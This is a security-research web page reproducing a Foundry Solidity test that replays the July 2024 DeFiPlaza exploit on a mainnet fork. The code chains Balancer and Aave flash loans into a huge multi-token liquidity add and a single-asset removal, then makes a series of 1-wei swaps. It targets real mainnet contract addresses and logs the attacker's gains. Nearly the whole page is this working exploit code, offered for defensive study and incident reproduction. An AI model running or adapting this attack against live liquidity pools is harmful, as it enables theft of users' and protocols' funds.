Skip to content
THREATWIRE

Public reproduction file

src/test/2024-07/DeFiPlaza_exp.sol

Public reproduction file for dataset entry DeFiPlaza.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-07/DeFiPlaza_exp.sol318 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo -- Total Lost : ~200k USD
8// TX : https://app.blocksec.com/explorer/tx/eth/0xa245deda8553c6e4c575baff9b50ef35abf4c8f990f8f36897696f896f240e3a
9// Frontrunner : https://etherscan.io/address/0xfde0d1575ed8e06fbf36256bcdfa1f359281455a
10// Original Attacker: https://etherscan.io/address/0x14b362d2e38250604f21a334d71c13e2ed478467
11// Frontrunner Attack Contract: https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd0
12// Original Attack Contract : https://etherscan.io/address/0xa4e8969bba1e1d48c30c948de0884cdff43e2d54
13// GUY : https://x.com/DecurityHQ/status/1809222922998808760
15interface DeFiPlaza is IERC20 {
16 function swap(
17 address inputToken,
18 address outputToken,
19 uint256 inputAmount,
20 uint256 minOutputAmount
21 ) external payable returns (uint256 outputAmount);
22 function addMultiple(
23 address[] calldata tokens,
24 uint256[] calldata maxAmounts
25 ) external payable returns (uint256 actualLP);
26 function removeLiquidity(
27 uint256 LPamount,
28 address outputToken,
29 uint256 minOutputAmount
30 ) external returns (uint256 actualOutput);
33contract ContractTest is Test {
34 DeFiPlaza DEFI = DeFiPlaza(0xE68c1d72340aEeFe5Be76eDa63AE2f4bc7514110);
35 IERC20 DFP2 = IERC20(0x2F57430a6ceDA85a67121757785877b4a71b8E6D);
36 IERC20 YFI = IERC20(0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e);
37 IERC20 Matic = IERC20(0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0);
38 IERC20 SUSHI = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2);
39 IERC20 eXRD = IERC20(0x6468e79A80C0eaB0F9A2B574c8d5bC374Af59414);
40 IERC20 CVX = IERC20(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B);
41 IERC20 MKR = IERC20(0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2);
42 IERC20 Spell = IERC20(0x090185f2135308BaD17527004364eBcC2D37e5F6);
43 IERC20 AAVEtoken = IERC20(0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9);
44 IERC20 WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
45 IUSDT LINK = IUSDT(0x514910771AF9Ca656af840dff83E8264EcF986CA);
46 IERC20 COMP = IERC20(0xc00e94Cb662C3520282E6f5717214004A7f26888);
47 IERC20 CRV = IERC20(0xD533a949740bb3306d119CC777fa900bA034cd52);
48 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
49 WETH9 WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
50 IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
51 IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
52 IAaveFlashloan AAVE = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
53 address public vulnContract = 0x00C409001C1900DdCdA20000008E112417DB003b;
54 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
55 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
57 event log_data(bytes data);
59 function setUp() public {
60 vm.createSelectFork("mainnet", 20_240_538);
61 }
63 function testExploit() external {
64 emit log_named_decimal_uint("[End] Attacker ETH balance before exploit", address(this).balance, 18);
65 emit log_named_decimal_uint(
66 "[End] Attacker eXRD balance before exploit", eXRD.balanceOf(address(this)), eXRD.decimals()
67 );
68 emit log_named_decimal_uint(
69 "[End] Attacker USDC balance before exploit", USDC.balanceOf(address(this)), USDC.decimals()
70 );
71 emit log_named_decimal_uint("[End] Attacker USDT balance before exploit", USDT.balanceOf(address(this)), 6);
72 emit log_named_decimal_uint(
73 "[End] Attacker DAI balance before exploit", DAI.balanceOf(address(this)), DAI.decimals()
74 );
75 emit log_named_decimal_uint("[End] Attacker LINK balance before exploit", LINK.balanceOf(address(this)), 18);
76 emit log_named_decimal_uint(
77 "[End] Attacker WBTC balance before exploit", WBTC.balanceOf(address(this)), WBTC.decimals()
78 );
79 emit log_named_decimal_uint(
80 "[End] Attacker Spell balance before exploit", Spell.balanceOf(address(this)), Spell.decimals()
81 );
82 emit log_named_decimal_uint(
83 "[End] Attacker MKR balance before exploit", MKR.balanceOf(address(this)), MKR.decimals()
84 );
85 emit log_named_decimal_uint(
86 "[End] Attacker CRV balance before exploit", CRV.balanceOf(address(this)), CRV.decimals()
87 );
88 emit log_named_decimal_uint(
89 "[End] Attacker YFI balance before exploit", YFI.balanceOf(address(this)), YFI.decimals()
90 );
91 emit log_named_decimal_uint(
92 "[End] Attacker Sushi balance before exploit", SUSHI.balanceOf(address(this)), SUSHI.decimals()
93 );
94 emit log_named_decimal_uint(
95 "[End] Attacker Matic balance before exploit", Matic.balanceOf(address(this)), Matic.decimals()
96 );
97 emit log_named_decimal_uint(
98 "[End] Attacker COMP balance before exploit", COMP.balanceOf(address(this)), COMP.decimals()
99 );
100 emit log_named_decimal_uint(
101 "[End] Attacker CVX balance before exploit", CVX.balanceOf(address(this)), CVX.decimals()
102 );
103 console.log("=====================");
104 bytes memory userencodeData = abi.encode(1, address(this));
105 approveAll();
106 uint256[] memory amount = new uint256[](9);
107 address[] memory token = new address[](9);
109 token[0] = address(WBTC);
110 token[1] = address(LINK);
111 token[2] = address(DAI);
112 token[3] = address(AAVEtoken);
113 token[4] = address(MKR);
114 token[5] = address(USDC);
115 token[6] = address(WETH);
116 token[7] = address(CRV);
117 token[8] = address(USDT);
119 amount[0] = 3_453_558_744;
120 amount[1] = 11_703_486_364_971_912_026_396;
121 amount[2] = 1_579_853_285_099_364_323_842_974;
122 amount[3] = 626_870_781_897_849_610_814_425;
123 amount[4] = 160_573_001_420_344_730_080;
124 amount[5] = 5_082_037_851_392;
125 amount[6] = 34_546_473_222_602_105_572_392;
126 amount[7] = 3_901_990_478_262_973_511_258;
127 amount[8] = 3_721_449_521_913;
128 Balancer.flashLoan(address(this), token, amount, userencodeData);
130 emit log_named_decimal_uint("[End] Attacker ETH balance after exploit", address(this).balance, 18);
131 emit log_named_decimal_uint(
132 "[End] Attacker eXRD balance after exploit", eXRD.balanceOf(address(this)), eXRD.decimals()
133 );
134 emit log_named_decimal_uint(
135 "[End] Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
136 );
137 emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 6);
138 emit log_named_decimal_uint(
139 "[End] Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals()
140 );
141 emit log_named_decimal_uint("[End] Attacker LINK balance after exploit", LINK.balanceOf(address(this)), 18);
142 emit log_named_decimal_uint(
143 "[End] Attacker WBTC balance after exploit", WBTC.balanceOf(address(this)), WBTC.decimals()
144 );
145 emit log_named_decimal_uint(
146 "[End] Attacker Spell balance after exploit", Spell.balanceOf(address(this)), Spell.decimals()
147 );
148 emit log_named_decimal_uint(
149 "[End] Attacker MKR balance after exploit", MKR.balanceOf(address(this)), MKR.decimals()
150 );
151 emit log_named_decimal_uint(
152 "[End] Attacker CRV balance after exploit", CRV.balanceOf(address(this)), CRV.decimals()
153 );
154 emit log_named_decimal_uint(
155 "[End] Attacker YFI balance after exploit", YFI.balanceOf(address(this)), YFI.decimals()
156 );
157 emit log_named_decimal_uint(
158 "[End] Attacker Sushi balance after exploit", SUSHI.balanceOf(address(this)), SUSHI.decimals()
159 );
160 emit log_named_decimal_uint(
161 "[End] Attacker Matic balance after exploit", Matic.balanceOf(address(this)), Matic.decimals()
162 );
163 emit log_named_decimal_uint(
164 "[End] Attacker COMP balance after exploit", COMP.balanceOf(address(this)), COMP.decimals()
165 );
166 emit log_named_decimal_uint(
167 "[End] Attacker CVX balance after exploit", CVX.balanceOf(address(this)), CVX.decimals()
168 );
169 }
171 function receiveFlashLoan(
172 IERC20[] memory tokens,
173 uint256[] memory amounts,
174 uint256[] memory feeAmounts,
175 bytes memory userData
176 ) external {
177 address[] memory assets = new address[](6);
178 assets[0] = address(WBTC);
179 assets[1] = address(LINK);
180 assets[2] = address(DAI);
181 assets[3] = address(MKR);
182 assets[4] = address(CRV);
183 assets[5] = address(USDT);
184 uint256[] memory amounts = new uint256[](6);
185 amounts[0] = 5_781_711_628;
186 amounts[1] = 418_582_543_975_397_474_624_769;
187 amounts[2] = 3_503_975_614_905_139_135_512_778;
188 amounts[3] = 2_280_638_770_110_776_934_873;
189 amounts[4] = 1_044_246_667_915_305_492_650_602;
190 amounts[5] = 1_396_680_406_245;
191 uint256[] memory interestRateModes = new uint256[](7);
192 interestRateModes[0] = 2;
193 interestRateModes[1] = 2;
194 interestRateModes[2] = 2;
195 interestRateModes[3] = 0;
196 interestRateModes[4] = 0;
197 interestRateModes[5] = 2;
198 AAVE.flashLoan(address(this), assets, amounts, interestRateModes, address(this), bytes(""), 0);
200 AAVE.repay(address(WBTC), 5_781_711_628, 2, address(this));
201 AAVE.repay(address(LINK), 418_582_543_975_397_474_624_769, 2, address(this));
202 AAVE.repay(address(DAI), 3_503_975_614_905_139_135_512_778, 2, address(this));
203 AAVE.repay(address(USDT), 1_396_680_406_245, 2, address(this));
204 AAVE.withdraw(address(AAVEtoken), 626_870_781_897_849_610_814_425, address(this));
206 WBTC.transfer(address(Balancer), 3_453_558_744);
207 LINK.transfer(address(Balancer), 11_703_486_364_971_912_026_396);
208 DAI.transfer(address(Balancer), 1_579_853_285_099_364_323_842_974);
209 AAVEtoken.transfer(address(Balancer), 626_870_781_897_849_610_814_425);
210 MKR.transfer(address(Balancer), 160_573_001_420_344_730_080);
211 USDC.transfer(address(Balancer), 5_082_037_851_392);
212 WETH.transfer(address(Balancer), 34_546_473_222_602_105_572_392);
213 CRV.transfer(address(Balancer), 3_901_990_478_262_973_511_258);
214 USDT.transfer(address(Balancer), 3_721_449_521_913);
215 }
217 function executeOperation(
218 address[] calldata assets,
219 uint256[] calldata amounts,
220 uint256[] calldata premiums,
221 address initiator,
222 bytes calldata params
223 ) external returns (bool) {
224 DEFI.swap(address(USDT), address(COMP), 256_581_711_438, 0);
225 DEFI.swap(address(WBTC), address(DFP2), 462_981_892, 0);
226 DEFI.swap(address(USDC), address(eXRD), 254_772_346_112, 0);
227 DEFI.swap(address(MKR), address(SUSHI), 122_382_648_177_021_930_433, 0);
228 DEFI.swap(address(DAI), address(CVX), 254_862_134_828_721_809_308_072, 0);
229 DEFI.swap(address(LINK), address(Matic), 21_571_067_484_081_842_602_565, 0);
231 DEFI.swap{value: 86 ether}(address(0), address(Spell), 86 ether, 0);
232 DEFI.swap{value: 1727 ether}(address(0), address(YFI), 1727 ether, 0);
234 address[] memory tokens = new address[](16);
235 tokens[0] = address(0);
236 tokens[1] = address(Spell);
237 tokens[2] = address(YFI);
238 tokens[3] = address(WBTC);
239 tokens[4] = address(DFP2);
240 tokens[5] = address(CVX);
241 tokens[6] = address(LINK);
242 tokens[7] = address(eXRD);
243 tokens[8] = address(DAI);
244 tokens[9] = address(SUSHI);
245 tokens[10] = address(Matic);
246 tokens[11] = address(MKR);
247 tokens[12] = address(USDC);
248 tokens[13] = address(COMP);
249 tokens[14] = address(CRV);
250 tokens[15] = address(USDT);
251 uint256[] memory amounts = new uint256[](16);
252 amounts[0] = 32_732 ether;
253 amounts[1] = 88_888_888 ether;
254 amounts[2] = 88_888_888 ether;
255 amounts[3] = 87 * 1e8;
256 amounts[4] = 88_888_888 ether;
257 amounts[5] = 88_888_888 ether;
258 amounts[6] = 88_888_888 ether;
259 amounts[7] = 88_888_888 ether;
260 amounts[8] = 88_888_888 ether;
261 amounts[9] = 88_888_888 ether;
262 amounts[10] = 88_888_888 ether;
263 amounts[11] = 88_888_888 ether;
264 amounts[12] = 88_888_888 ether;
265 amounts[13] = 88_888_888 ether;
266 amounts[14] = 88_888_888 ether;
267 amounts[15] = 88_888_888 ether;
268 DEFI.addMultiple{value: 32_732 ether}(tokens, amounts);
269 uint256 amount = DEFI.balanceOf(address(this));
270 DEFI.removeLiquidity(amount, address(0), 0);
272 DEFI.swap{value: 0.000000000000000001 ether}(address(0), address(Spell), 1, 0);
273 DEFI.swap(address(Spell), address(YFI), 1, 0);
274 DEFI.swap(address(YFI), address(WBTC), 1, 0);
275 DEFI.swap(address(WBTC), address(DFP2), 1, 0);
276 DEFI.swap(address(DFP2), address(CVX), 1, 0);
277 DEFI.swap(address(CVX), address(LINK), 1, 0);
278 DEFI.swap(address(LINK), address(eXRD), 1, 0);
279 DEFI.swap(address(eXRD), address(DAI), 1, 0);
280 DEFI.swap(address(DAI), address(SUSHI), 1, 0);
281 DEFI.swap(address(SUSHI), address(Matic), 1, 0);
282 DEFI.swap(address(Matic), address(MKR), 1, 0);
283 DEFI.swap(address(MKR), address(USDC), 1, 0);
284 DEFI.swap(address(USDC), address(COMP), 1, 0);
285 DEFI.swap(address(COMP), address(CRV), 1, 0);
286 DEFI.swap(address(CRV), address(USDT), 1, 0);
287 AAVE.supply(address(AAVEtoken), 626_870_781_897_849_610_814_425, address(this), 0);
288 return true;
289 }
291 function approveAll() public {
292 SUSHI.approve(address(DEFI), type(uint256).max);
293 COMP.approve(address(DEFI), type(uint256).max);
294 CRV.approve(address(DEFI), type(uint256).max);
295 CRV.approve(address(AAVE), type(uint256).max);
296 LINK.approve(address(DEFI), type(uint256).max);
297 LINK.approve(address(AAVE), type(uint256).max);
298 AAVEtoken.approve(address(AAVE), type(uint256).max);
299 Spell.approve(address(DEFI), type(uint256).max);
300 CVX.approve(address(DEFI), type(uint256).max);
301 eXRD.approve(address(DEFI), type(uint256).max);
302 SUSHI.approve(address(DEFI), type(uint256).max);
303 WBTC.approve(address(AAVE), type(uint256).max);
304 WBTC.approve(address(DEFI), type(uint256).max);
305 Matic.approve(address(DEFI), type(uint256).max);
306 MKR.approve(address(DEFI), type(uint256).max);
307 MKR.approve(address(AAVE), type(uint256).max);
308 YFI.approve(address(DEFI), type(uint256).max);
309 DFP2.approve(address(DEFI), type(uint256).max);
310 USDT.approve(address(DEFI), type(uint256).max);
311 USDT.approve(address(AAVE), type(uint256).max);
312 USDC.approve(address(DEFI), type(uint256).max);
313 DAI.approve(address(DEFI), type(uint256).max);
314 DAI.approve(address(AAVE), type(uint256).max);
315 }
317 fallback() external payable {}

Analysis

Dataset entry

Public Foundry test for “DeFiPlaza” (2024-07-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
DeFiPlaza
Path
src/test/2024-07/DeFiPlaza_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
8178f1d2ac8cbece81832abacac7f1a5237bacff
Language
Solidity
Size
319 lines
Date
2024-07-05
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-07/DeFiPlaza_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8178f1d2ac8cbece81832abacac7f1a5237bacff, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.